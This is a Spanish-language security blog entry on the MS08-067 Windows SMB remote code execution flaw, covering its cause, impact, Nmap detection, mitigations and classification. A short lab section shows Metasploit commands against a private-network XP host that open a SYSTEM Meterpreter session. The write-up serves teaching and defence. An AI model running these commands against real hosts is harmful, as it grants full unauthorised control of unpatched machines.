cd ~/blog

~/vulns/ms08-067-cve-2008-4250.md

MS08-067 (CVE-2008-4250)

rceautor: Jordy Pérez Osorio aviso legal
WindowsSMBRCEMS08-067

~2 min de lectura


1. Descripción técnica

MS08-067, identificada como CVE-2008-4250, es una vulnerabilidad crítica en el servicio Server (Server / srvsvc) de Microsoft Windows, alcanzable mediante RPC sobre SMB. El fallo se produce durante el tratamiento de una solicitud de canonicalización de rutas.

Un atacante puede enviar una petición RPC especialmente manipulada (con una ruta que contenga secuencias ..\ cuidadosamente construidas) que provoca el desbordamiento y permite sobrescribir memoria y desviar el flujo de ejecución, logrando ejecución de código arbitrario con privilegios de NT AUTHORITY\SYSTEM.

En sistemas vulnerables (notablemente Windows 2000, XP y Server 2003) el ataque puede realizarse sin autenticación previa, ya que el endpoint RPC es accesible de forma anónima.

2. Impacto de la vulnerabilidad

  • Ejecución remota de código como SYSTEM, el máximo privilegio en Windows: compromiso total e inmediato del equipo.
  • Propagación tipo gusano (worm): al no requerir interacción del usuario ni autenticación, fue usada por malware autopropagable como Conficker (2008-2009), que infectó millones de equipos.
  • Sigue siendo uno de los exploits "garantizados" contra hosts Windows legacy en laboratorios y CTFs.

3. Contexto

  • 23 de octubre de 2008: Microsoft publica el boletín MS08-067 de forma fuera de ciclo (out-of-band) dada su gravedad, antes del martes de parches habitual.
  • A finales de 2008 aparece el gusano Conficker/Downadup, que explota MS08-067 para propagarse masivamente.
  • El módulo exploit/windows/smb/ms08_067_netapi de Metasploit lo convierte en uno de los exploits más utilizados y didácticos de la historia del pentesting.

4. Condiciones necesarias

  1. Un sistema Windows sin el parche MS08-067 (Windows 2000, XP, Server 2003 principalmente).
  2. El servicio Server activo y el puerto SMB (445/139) accesible.
  3. Acceso anónimo/nulo al endpoint RPC srvsvc, que permite alcanzar la función vulnerable sin credenciales.

5. Validación y detección

  • Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms08-067 target
  • Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target
  • Metasploit: el propio módulo realiza un check/fingerprint del target (versión y service pack) antes de explotar.

6. Mitigación

  1. Aplicar el parche MS08-067 (solución definitiva).
  2. Migrar sistemas operativos fuera de soporte (Windows 2000/XP/2003 ya no reciben actualizaciones).
  3. Filtrar SMB (445/139) en el perímetro y segmentar la red para que el servicio no sea accesible desde redes no confiables.
  4. Deshabilitar SMBv1 y servicios innecesarios; aplicar principio de mínima exposición.

7. Explotación documentada en 06-experience

El script de Nmap confirma la exposición de un Windows XP legado y el módulo correspondiente de Metasploit obtiene una sesión como NT AUTHORITY\SYSTEM:

msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] 192.168.1.139:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Sending stage (176198 bytes) to 192.168.1.139
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

8. Clasificación

  • Tipo: Buffer Overflow → Remote Code Execution
  • CVE: CVE-2008-4250 (boletín MS08-067)
  • CWE:
    • CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
    • CWE-787 – Out-of-bounds Write

9. Referencias y conexiones

// relacionados